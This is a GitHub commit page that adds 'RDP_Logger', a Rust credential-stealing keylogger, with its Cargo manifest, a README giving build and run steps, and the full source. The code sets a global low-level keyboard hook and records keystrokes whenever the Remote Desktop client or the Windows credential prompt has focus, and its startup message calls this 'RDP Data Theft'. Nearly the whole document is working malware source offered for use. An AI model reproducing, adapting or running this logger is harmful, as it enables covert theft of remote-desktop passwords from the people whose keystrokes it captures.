Skip to content

Commit 5a4d74e

Browse files
committed
RDP_Logger
1 parent 3381f02 commit 5a4d74e

File tree

4 files changed

+214
-0
lines changed

4 files changed

+214
-0
lines changed

Keyloggers/RDP_Logger/Cargo.toml

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
[package]
2+
name = "RDP_Logger"
3+
version = "0.1.0"
4+
edition = "2021"
5+
6+
[dependencies]
7+
winapi = {version = "0.3.9", features = ["errhandlingapi", "handleapi","processthreadsapi", "tlhelp32","winuser","minwindef","windef"]}
8+
9+
10+

Keyloggers/RDP_Logger/README.md

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
## RDP_Logger
2+
3+
A keystroke logger targeting the Remote Desktop Protocol (RDP) related processes, It utilizes a low-level keyboard input hook, allowing it to record keystrokes in certain contexts in mstsc.exe and CredentialUIBroker.exe
4+
5+
![POC](./image.png)
6+
7+
## Usage
8+
9+
```
10+
cargo build --release
11+
12+
./target/release/RDP_Logger.exe
13+
```
14+
15+
Credits:
16+
17+
* https://github.com/SaadAhla/TakeMyRDP.git
18+
19+
20+
Author: [@5mukx](https://x.com/5mukx)

Keyloggers/RDP_Logger/image.png

87.4 KB
Loading

Keyloggers/RDP_Logger/src/main.rs

Lines changed: 184 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,184 @@
1+
/*
2+
RDP_Logger
3+
Author: 5mukx
4+
*/
5+
6+
use winapi::{
7+
shared::minwindef::{LPARAM, LRESULT, WPARAM},
8+
um::{errhandlingapi::GetLastError, handleapi::CloseHandle,
9+
tlhelp32::{CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS},
10+
winuser::{CallNextHookEx, DispatchMessageW, GetForegroundWindow, GetKeyState, GetMessageW, GetWindowThreadProcessId, SetWindowsHookExW, TranslateMessage, UnhookWindowsHookEx, KBDLLHOOKSTRUCT, VK_SHIFT, WH_KEYBOARD_LL, WM_KEYDOWN, WM_SYSKEYDOWN}}};
11+
12+
use std::{
13+
ffi::CString, mem, ptr::null_mut,
14+
sync::atomic::{AtomicI32, Ordering}
15+
};
16+
17+
18+
fn get_pid(process_name: &str) -> u32{
19+
unsafe{
20+
let mut pe: PROCESSENTRY32 = std::mem::zeroed();
21+
pe.dwSize = mem::size_of::<PROCESSENTRY32>() as u32;
22+
23+
let snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
24+
if snap.is_null(){
25+
println!("Error while snapshoting processes : Error : {}", GetLastError());
26+
std::process::exit(0);
27+
}
28+
29+
let mut pid = 0;
30+
31+
let mut result = Process32First(snap, &mut pe) != 0;
32+
33+
while result{
34+
35+
let exe_file = CString::from_vec_unchecked(pe.szExeFile
36+
.iter()
37+
.map(|&file| file as u8)
38+
.take_while(|&c| c!=0)
39+
.collect::<Vec<u8>>(),
40+
);
41+
42+
if exe_file.to_str().unwrap() == process_name {
43+
pid = pe.th32ProcessID;
44+
// break;
45+
}
46+
result = Process32Next(snap, &mut pe) !=0;
47+
}
48+
49+
if pid == 0{
50+
println!("Unable to get PID for {}: {}",process_name , "PROCESS DOESNT EXISTS");
51+
// std::process::exit(0);
52+
}
53+
54+
CloseHandle(snap);
55+
pid
56+
}
57+
}
58+
59+
fn is_window_of_process_focused(proc_name: &str) -> bool {
60+
61+
let pid = get_pid(proc_name);
62+
unsafe{
63+
let h_active_window = GetForegroundWindow();
64+
if h_active_window.is_null() {
65+
return false;
66+
}
67+
68+
let mut active_pid = 0;
69+
GetWindowThreadProcessId(h_active_window, &mut active_pid);
70+
71+
return active_pid == pid;
72+
}
73+
}
74+
75+
static PREV_KEY: AtomicI32 = AtomicI32::new(0);
76+
77+
78+
unsafe extern "system" fn keyboard_hook_proc(n_code: i32, w_param: WPARAM, l_param: LPARAM) -> LRESULT {
79+
if n_code >= 0 {
80+
if is_window_of_process_focused("mstsc.exe") || is_window_of_process_focused("CredentialUIBroker.exe") {
81+
let kbd_struct = *(l_param as *const KBDLLHOOKSTRUCT);
82+
let vk_code = kbd_struct.vkCode as i32;
83+
84+
if w_param == WM_KEYDOWN as usize || w_param == WM_SYSKEYDOWN as usize {
85+
if vk_code == 0xA2 {
86+
PREV_KEY.store(vk_code, Ordering::SeqCst);
87+
return CallNextHookEx(null_mut(), n_code, w_param, l_param);
88+
}
89+
90+
if PREV_KEY.load(Ordering::SeqCst) == 0xA2 && vk_code == 0xA5 {
91+
println!("<RALT>");
92+
} else if PREV_KEY.load(Ordering::SeqCst) == 0xA2 && vk_code != 0xA5 {
93+
println!("<LCTRL>");
94+
}
95+
96+
match vk_code {
97+
0xA3 => println!("<RCTRL>"),
98+
0xA4 => println!("<LALT>"),
99+
0x08 => println!("<ESC>"),
100+
0x0D => println!("<ENTER>"),
101+
_ => {
102+
let shift_pressed = (GetKeyState(VK_SHIFT) & 0x8000u16 as i16) != 0;
103+
match vk_code {
104+
0x30..=0x39 => { // Digits 0-9
105+
if shift_pressed {
106+
match vk_code {
107+
0x31 => println!("!"),
108+
0x32 => println!("@"),
109+
0x33 => println!("#"),
110+
0x34 => println!("$"),
111+
0x35 => println!("%"),
112+
0x36 => println!("^"),
113+
0x37 => println!("&"),
114+
0x38 => println!("*"),
115+
0x39 => println!("("),
116+
0x30 => println!(")"),
117+
_ => {}
118+
}
119+
} else {
120+
println!("{}", (vk_code as u8) as char);
121+
}
122+
}
123+
0xBA => println!("{}", if shift_pressed { ':' } else { ';' }),
124+
0xBB => println!("{}", if shift_pressed { '+' } else { '=' }),
125+
0xBC => println!("{}", if shift_pressed { '<' } else { ',' }),
126+
0xBD => println!("{}", if shift_pressed { '_' } else { '-' }),
127+
0xBE => println!("{}", if shift_pressed { '>' } else { '.' }),
128+
0xBF => println!("{}", if shift_pressed { '?' } else { '/' }),
129+
0xC0 => println!("{}", if shift_pressed { '~' } else { '`' }),
130+
0xDB => println!("{}", if shift_pressed { '{' } else { '[' }),
131+
0xDC => println!("{}", if shift_pressed { '|' } else { '\\' }),
132+
0xDD => println!("{}", if shift_pressed { '}' } else { ']' }),
133+
0xDE => println!("{}", if shift_pressed { '"' } else { '\'' }),
134+
0x41..=0x5A => { // Letters A-Z
135+
if shift_pressed {
136+
println!("{}", (vk_code as u8) as char);
137+
} else {
138+
println!("{}", (vk_code as u8 + 32) as char);
139+
}
140+
}
141+
_ => println!("{:?}", vk_code),
142+
} },
143+
}
144+
PREV_KEY.store(vk_code, Ordering::SeqCst);
145+
}
146+
} else {
147+
return CallNextHookEx(null_mut(), n_code, w_param, l_param);
148+
}
149+
}
150+
CallNextHookEx(null_mut(), n_code, w_param, l_param)
151+
}
152+
153+
154+
fn main(){
155+
println!("[*] Starting RDP Data Theft");
156+
println!("[!] Waiting for RDP related Process");
157+
158+
unsafe{
159+
let hook = SetWindowsHookExW(
160+
WH_KEYBOARD_LL,
161+
Some(keyboard_hook_proc),
162+
null_mut(),
163+
0,
164+
);
165+
166+
if hook.is_null(){
167+
println!("Failed to set Hook");
168+
return;
169+
}
170+
let mut msg: winapi::um::winuser::MSG = std::mem::zeroed();
171+
172+
while GetMessageW(
173+
&mut msg,
174+
null_mut(),
175+
0,
176+
0,
177+
) != 0{
178+
TranslateMessage(&msg);
179+
DispatchMessageW(&msg);
180+
}
181+
182+
UnhookWindowsHookEx(hook);
183+
}
184+
}

0 commit comments

Comments
 (0)